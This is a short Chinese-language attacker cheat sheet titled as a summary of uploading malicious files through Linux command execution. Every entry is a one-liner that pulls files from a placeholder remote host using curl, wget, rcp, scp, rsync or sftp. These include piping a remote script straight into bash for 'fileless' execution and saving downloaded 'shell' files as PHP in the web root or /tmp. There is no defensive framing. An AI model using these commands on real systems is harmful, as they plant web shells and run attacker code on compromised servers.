linux命令执行上传恶意文件总结
curl
写文件
1
| curl -fsSL http://xx.xx.xx.xx:8080/test.txt > 1.php
|
无文件执行命令
1
| curl -fsSL http://xx.xx.xx.xx:8080/test.sh | bash
|
wget
1
| wget http://xx.xx.xx.xx:8080/shell.txt -O /tmp/x.php
|
rcp
1
| rcp root@x.x.x.x:./testfile testfile
|
scp
1
| scp username@servername:/path/filename /tmp/filename
|
rsync
1
| rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
|
sftp
1
2
3
4
| sftp root@xx.xx.xx.xx <<EOF
get /tmp/2.txt
quit
EOF
|